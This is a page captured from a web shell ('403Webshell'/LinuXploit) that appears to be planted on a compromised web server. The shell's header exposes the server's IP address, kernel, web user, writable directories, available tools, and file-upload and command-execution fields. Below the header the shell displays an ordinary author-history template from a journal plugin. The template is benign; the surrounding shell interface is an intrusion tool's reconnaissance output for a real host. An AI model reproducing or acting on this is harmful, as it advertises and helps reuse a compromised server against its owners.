403Webshell
Server IP : 195.134.90.114  /  Your IP : 216.73.216.86
Web Server : Apache/2.4.58
System : Linux nepub 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : OFF
Directory :  /var/www/html/public_html/plugins/generic/authorsHistory/templates/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/html/public_html/plugins/generic/authorsHistory/templates/authorsHistory.tpl
{**
 * plugins/generic/AuthorsHistory/templates/authorsHistory.tpl
 *
 * Copyright (c) 2020-2023 Lepidus Tecnologia
 * Copyright (c) 2020-2023 SciELO
 * Distributed under the GNU GPL v3. For full terms see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt
 * 
 * @brief Template for display the list of submissions of an author
 *}

<link rel="stylesheet" type="text/css" href="/plugins/generic/authorsHistory/styles/authorsHistory.css">
<script type="text/javascript" src="/plugins/generic/authorsHistory/templates/pagination.js"></script>

{$currentAuthor = 0}
<div id="authorsHistory">
    <div id="historyHeader">
        <h2>{translate key="plugins.generic.authorsHistory.displayName"}</h2>
    </div>
    <div id="historyBody">
        {foreach from=$listDataAuthors item=authorData}
            <div class="authorHistory">
                <h3>{$authorData['name']|escape}</h3>
                {if $authorData['correspondingAuthor']}
                    <span>{translate key="submission.submit.selectPrincipalContact"}</span><br>
                {/if}
                {if $authorData['orcid']}
                    <a href="{$authorData['orcid']|escape}" target="_blank" rel="noopener noreferrer">
                        <strong>{translate key="plugins.generic.authorsHistory.orcid"}:</strong> {$authorData['orcid']|escape}
                    </a>
                {else}
                    <span>{translate key="plugins.generic.authorsHistory.noORCID"}</span>
                {/if}
                <br><span><strong>{translate key="email.email"}:</strong> {$authorData['email']|escape}</span>

                {if empty($authorData['submissions'])}
                    <p class="authorPublications">{translate key="plugins.generic.authorsHistory.noPublications"}</p>
                {else}

                <div class="authorPublications">

                {$totalAuthorSubmissions = count($authorData['submissions']) }
                {$totalPages = ceil($totalAuthorSubmissions/ $itemsPerPage) }
                    {foreach from=$authorData['submissions'] item=sub}
                            <div class="authorPublication">
                                <div class="submissionId">
                                    <span>{$sub->getId()|escape}</span>
                                </div>
                                <div class="submissionTitle">
                                    {if $userIsManager}
                                        <a href="{url page="workflow" op="access" path=$sub->getBestId()}" target="_blank" rel="noopener noreferrer">
                                            {$sub->getCurrentPublication()->getLocalizedFullTitle()|escape}
                                        </a>
                                    {else}
                                        <span>
                                            {$sub->getCurrentPublication()->getLocalizedFullTitle()|escape}
                                        </span>
                                    {/if}
                                </div>
                                <div class="submissionStatus">
                                    {if $sub->getStatus() == STATUS_PUBLISHED}
                                        <a href="{url page=$submissionType op="view" path=$sub->getBestId()}" target="_blank" rel="noopener noreferrer">
                                            {translate key=$sub->getStatusKey()}
                                        </a>
                                    {else}
                                        <span>{translate key=$sub->getStatusKey()}</span>
                                    {/if}
                                </div>
                            </div>
                    {/foreach}

                    <script>
                    var authors = document.getElementsByClassName("authorPublications")[{$currentAuthor}];
                    var authorInformation = authors.getElementsByClassName("authorPublication");

                    if({$itemsPerPage} < {$totalAuthorSubmissions}){
                        for(iterator= 0; iterator < ( {$totalAuthorSubmissions} - {$itemsPerPage} ); iterator++)
                        authorInformation[iterator].style.display = 'none';
                    }
                    </script>

                </div>
                {$currentAuthor = $currentAuthor + 1}
                
                {/if}

                {translate key="plugins.generic.authorsHistory.pages"} >>
                {for $currentPage=1 to $totalPages}
                    <button class="pageButtons" onclick="showSubmissionsPage({$itemsPerPage},{$currentPage},{$totalAuthorSubmissions},{$currentAuthor})" type="button">
                    {$currentPage}
                    </button>
                {/for} 

            </div>
        {/foreach}
    </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit